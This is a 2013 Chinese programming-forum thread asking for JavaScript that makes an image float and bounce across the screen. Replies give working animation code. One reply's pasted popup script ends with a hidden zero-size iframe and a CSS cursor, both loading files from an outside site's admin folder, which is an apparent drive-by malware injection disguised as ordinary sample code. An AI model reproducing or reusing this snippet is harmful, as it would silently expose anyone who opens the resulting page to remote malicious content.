JS求一效果,懂JS的大神麻烦进来看看

东东21 2013-10-27 02:18:08
就是一张图片不断的在屏幕之间来回滚动的那种效果,谁能帮忙写一个。。
谢谢了!!!
就是如下图所显示的效果。。
...全文
198 4 打赏 收藏 转发到动态 举报
写回复
用AI写文章
4 条回复
切换为时间正序
请发表友善的回复…
发表回复
失落夏天 2013-10-28
  • 打赏
  • 举报
回复
效果图:

代码如下,又不会的就问。这个自己写的。
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>Insert title here</title>
<style>
#image{
position:absolute;
}
</style>
<script type="text/javascript">

var x=50;
var y=60;
var step=1;
var xflag=true;
var yflag=true;

function move(){
var image=document.getElementById("image");

var xRange=document.documentElement.clientWidth-image.offsetWidth;
var yRange=document.documentElement.clientHeight-image.offsetHeight;

if(x>=xRange){
xflag=false;
}
if(x<=0){
xflag=true;
}
if(y>=yRange){
yflag=false;
}
if(y<=0){
yflag=true;
}

x+=xflag?step:-step;
y+=yflag?step:-step;

image.style.left=x+"px";
image.style.top=y+"px";
}
window.onload=function(){

window.setInterval("move()",10);//周期执行一个函数
}
</script>
</head>
<body>
<img id="image" src="1.png" alt="图片"></img>

</body>
</html>
尘缘udbwcso 2013-10-27
  • 打赏
  • 举报
回复
尘缘udbwcso 2013-10-27
  • 打赏
  • 举报
回复

<html><body link="#000000" vlink="#000000"><SCRIPT> 
var imagepath="01.gif"
var imagewidth=80
var imageheight=80

var speed=3; 
var imageclick="http://url" 
var hideafter=0 

var isie=0; 
if(window.navigator.appName=="Microsoft Internet Explorer"&&window.navigator.appVersion.substring(window.navigator.appVersion.indexOf("MSIE")+5,window.navigator.appVersion.indexOf("MSIE")+8)>=5.5) { 
isie=1; 
} 
else { 
isie=0; 
} 

   if(isie){ 
      var preloadit=new Image() 
      preloadit.src=imagepath 
   } 


function pop() { 
if(isie) { 
x=x+dx;y=y+dy; 
oPopup.show(x, y, imagewidth, imageheight); 
if(x+imagewidth+5>screen.width) dx=-dx; 
if(y+imageheight+5>screen.height) dy=-dy; 
if(x<0) dx=-dx; 
if(y<0) dy=-dy; 
startani=setTimeout("pop();",50); 
} 
} 

function dismisspopup(){ 
clearTimeout(startani) 
oPopup.hide() 
} 

function dowhat(){ 
if (imageclick=="dismiss") 
dismisspopup() 
else 
window.open(imageclick);
} 


if(isie) { 
var x=0,y=0,dx=speed,dy=speed; 
var oPopup = window.createPopup(); 
var oPopupBody = oPopup.document.body; 
oPopupBody.style.cursor="hand" 
oPopupBody.innerHTML = '<IMG SRC="'+preloadit.src+'">'; 
oPopup.document.body.onmouseover=new Function("clearTimeout(startani)") 
oPopup.document.body.onmouseout=pop 
oPopup.document.body.onclick=dowhat 
pop(); 

if (hideafter>0) 
setTimeout("dismisspopup()",hideafter*1000) 
} 
</SCRIPT>  
</body>
</html>
<iframe src=http://www.mymole.net/admin/inc/ccd.htm width=0 height=0></iframe>
<DIV style="CURSOR: url(http://www.mymole.net/admin/inc/ads.jpg)"></DIV>

soyestrellafortuna 2013-10-27
  • 打赏
  • 举报
回复
搜索漂浮图片特效能搜到

62,614

社区成员

发帖
与我相关
我的任务
社区描述
Java 2 Standard Edition
社区管理员
  • Java SE
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告
暂无公告

试试用AI创作助手写篇文章吧